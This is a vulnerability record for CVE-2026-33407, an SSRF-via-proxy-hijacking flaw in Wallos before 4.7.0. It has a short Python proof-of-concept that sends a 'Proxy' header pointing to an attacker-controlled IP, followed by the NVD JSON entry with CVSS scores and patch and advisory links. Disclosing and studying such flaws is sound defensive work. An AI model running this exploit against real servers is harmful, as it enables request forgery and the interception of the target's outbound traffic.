CVE-2026-33407

import requests # Target URL of the vulnerable Wallos instance target_url = "http://<target-ip>/endpoints/logos/search.php" # The vulnerability allows setting the proxy via environment variables. # In many CGI/FPM setups, the 'Proxy' header sets the HTTP_PROXY env var. headers = { "Proxy": "http://<attacker-controlled-ip>:8080" } # The server performs DNS resolution on the search term. data = { "search": "example.com" } try: response = requests.post(target_url, headers=headers, data=data) print(f"Status Code: {response.status_code}") print("If the server resolves 'example.com' via the attacker's proxy, the exploit is successful.") except Exception as e: print(f"Error: {e}")

{"cve": {"id": "CVE-2026-33407", "sourceIdentifier": "[email protected]", "published": "2026-03-24T18:16:11.627", "lastModified": "2026-03-26T20:54:06.227", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Wallos is an open-source, self-hostable personal subscription tracker. Prior to version 4.7.0, Wallos endpoints/logos/search.php accepts HTTP_PROXY and HTTPS_PROXY environment variables without validation, enabling SSRF via proxy hijacking. The server performs DNS resolution on user-supplied search terms, which can be controlled by attackers to trigger outbound requests to arbitrary domains. This issue has been patched in version 4.7.0."}, {"lang": "es", "value": "Wallos es un rastreador de suscripciones personal de código abierto y autoalojable. Antes de la versión 4.7.0, el endpoint de Wallos /logos/search.PHP acepta las variables de entorno HTTP_PROXY y HTTPS_PROXY sin validación, lo que permite SSRF a través del secuestro de proxy. El servidor realiza la resolución DNS en los términos de búsqueda proporcionados por el usuario, que pueden ser controlados por atacantes para activar solicitudes salientes a dominios arbitrarios. Este problema ha sido parcheado en la versión 4.7.0."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:N/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 8.3, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "PRESENT", "privilegesRequired": "NONE", "userInteraction": "NONE", "vulnConfidentialityImpact": "HIGH", "vulnIntegrityImpact": "NONE", "vulnAvailabilityImpact": "HIGH", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:H", "baseScore": 9.1, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 5.2}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-918"}, {"lang": "en", "value": "CWE-922"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:wallosapp:wallos:*:*:*:*:*:*:*:*", "versionEndExcluding": "4.7.0", "matchCriteriaId": "7376DD5F-C93E-4454-810B-DE04B2DE7032"}]}]}], "references": [{"url": "https://github.com/ellite/Wallos/commit/e87387f0ebb540cd33e6dfda7181db9db650ecef#diff-d77202c5d47a3d7d4586e519f6f5e256da5fb2969fa8b9c75c399b2821e9de40", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/ellite/Wallos/security/advisories/GHSA-hhjq-82f8-m6rc", "source": "[email protected]", "tags": ["Exploit", "Vendor Advisory"]}]}}